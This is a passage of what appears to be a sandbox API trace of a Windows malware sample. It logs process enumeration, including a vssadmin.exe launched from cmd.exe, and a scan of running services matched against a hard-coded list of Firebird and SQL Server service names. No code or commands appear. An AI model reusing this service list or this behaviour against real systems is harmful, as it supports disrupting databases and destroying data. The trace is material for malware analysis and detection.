lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0179.234] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0179.235] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0179.236] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0179.236] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0179.237] lstrlenW (lpString="perhapssentences.exe") returned 20 [0179.237] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.237] lstrlenW (lpString="svchost.exe") returned 11 [0179.237] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0179.238] lstrlenW (lpString="chrome64b.exe") returned 13 [0179.238] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0179.239] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0179.239] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0179.240] lstrlenW (lpString="conhost.exe") returned 11 [0179.240] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0179.241] lstrlenW (lpString="cmd.exe") returned 7 [0179.241] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0179.241] lstrlenW (lpString="conhost.exe") returned 11 [0179.241] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0179.242] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0179.242] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0179.243] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0179.243] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0179.244] lstrlenW (lpString="vssadmin.exe") returned 12 [0179.244] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0179.244] lstrlenW (lpString="dllhost.exe") returned 11 [0179.244] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0179.245] lstrlenW (lpString="LogonUI.exe") returned 11 [0179.245] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0179.246] CloseHandle (hObject=0x308) returned 1 [0179.246] Sleep (dwMilliseconds=0x1f4) [0180.272] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7cea50 [0180.272] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0180.272] GetLastError () returned 0xea [0180.272] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f5e) returned 0x7e7778 [0180.273] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1f5e, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0180.273] CloseServiceHandle (hSCObject=0x7cea50) returned 1 [0180.274] lstrlenW (lpString="Appinfo") returned 7 [0180.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0180.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0180.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0180.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0180.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0180.274] lstrlenW (lpString="AppXSvc") returned 7 [0180.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0180.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0180.274] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0180.274] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0180.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0180.274] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0180.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.274] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0180.274] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0180.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0180.274] lstrlenW (lpString="Audiosrv") returned 8 [0180.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0180.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0180.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0180.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0180.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0180.274] lstrlenW (lpString="BFE") returned 3 [0180.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0180.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0180.274] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0180.274] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0180.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0180.275] lstrlenW (lpString="BITS") returned 4 [0180.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0180.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0180.275] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0180.275] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0180.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0180.275] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0180.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.275] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0180.275] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0180.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0180.275] lstrlenW (lpString="CDPSvc") returned 6 [0180.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0180.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0180.275] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0180.275] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0180.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0180.275] lstrlenW (lpString="ClickToRunSvc") returned 13 [0180.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.275] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0180.275] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0180.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0180.275] lstrlenW (lpString="ClipSVC") returned 7 [0180.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0180.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0180.275] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0180.275] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0180.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0180.275] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0180.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0180.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0180.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0180.276] lstrlenW (lpString="CryptSvc") returned 8 [0180.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0180.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0180.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0180.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0180.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0180.276] lstrlenW (lpString="DcomLaunch") returned 10 [0180.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.276] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0180.276] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0180.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0180.276] lstrlenW (lpString="DeviceAssociationService") returned 24 [0180.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.276] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0180.276] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0180.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0180.276] lstrlenW (lpString="Dhcp") returned 4 [0180.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0180.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0180.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0180.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0180.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0180.276] lstrlenW (lpString="Dnscache") returned 8 [0180.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0180.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0180.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0180.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0180.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0180.277] lstrlenW (lpString="DoSvc") returned 5 [0180.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0180.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0180.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0180.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0180.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0180.277] lstrlenW (lpString="DPS") returned 3 [0180.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0180.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0180.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0180.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0180.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0180.277] lstrlenW (lpString="DusmSvc") returned 7 [0180.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0180.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0180.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0180.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0180.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0180.277] lstrlenW (lpString="EventLog") returned 8 [0180.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0180.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0180.277] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0180.277] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0180.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0180.277] lstrlenW (lpString="EventSystem") returned 11 [0180.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0180.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0180.277] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0180.277] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0180.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0180.277] lstrlenW (lpString="FontCache") returned 9 [0180.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0180.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0180.278] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0180.278] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0180.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0180.278] lstrlenW (lpString="gpsvc") returned 5 [0180.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0180.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0180.278] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0180.278] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0180.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0180.278] lstrlenW (lpString="iphlpsvc") returned 8 [0180.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.278] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0180.278] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0180.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0180.278] lstrlenW (lpString="KeyIso") returned 6 [0180.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0180.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0180.278] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0180.278] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0180.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0180.278] lstrlenW (lpString="LanmanServer") returned 12 [0180.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0180.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0180.278] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0180.278] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0180.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0180.278] lstrlenW (lpString="LanmanWorkstation") returned 17 [0180.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.278] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0180.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0180.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0180.279] lstrlenW (lpString="lfsvc") returned 5 [0180.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0180.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0180.279] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0180.279] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0180.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0180.279] lstrlenW (lpString="LicenseManager") returned 14 [0180.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0180.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0180.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0180.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0180.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0180.279] lstrlenW (lpString="lmhosts") returned 7 [0180.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0180.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0180.279] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0180.279] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0180.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0180.279] lstrlenW (lpString="LSM") returned 3 [0180.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0180.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0180.280] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0180.280] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0180.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0180.280] lstrlenW (lpString="MpsSvc") returned 6 [0180.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0180.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0180.280] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0180.280] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0180.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0180.280] lstrlenW (lpString="NcbService") returned 10 [0180.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0180.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0180.280] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0180.280] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0180.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0180.280] lstrlenW (lpString="netprofm") returned 8 [0180.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0180.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0180.280] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0180.280] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0180.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0180.280] lstrlenW (lpString="NlaSvc") returned 6 [0180.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0180.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0180.280] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0180.280] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0180.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0180.280] lstrlenW (lpString="nsi") returned 3 [0180.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0180.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0180.280] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0180.280] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0180.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0180.281] lstrlenW (lpString="PcaSvc") returned 6 [0180.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0180.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0180.281] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0180.281] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0180.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0180.281] lstrlenW (lpString="PlugPlay") returned 8 [0180.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0180.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0180.281] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0180.281] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0180.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0180.281] lstrlenW (lpString="Power") returned 5 [0180.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0180.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0180.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0180.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0180.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0180.281] lstrlenW (lpString="ProfSvc") returned 7 [0180.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0180.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0180.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0180.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0180.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0180.281] lstrlenW (lpString="RpcEptMapper") returned 12 [0180.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0180.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0180.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0180.281] lstrlenW (lpString="RpcSs") returned 5 [0180.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0180.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0180.282] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0180.670] lstrcmpiW (lpString1="mssqlserver", 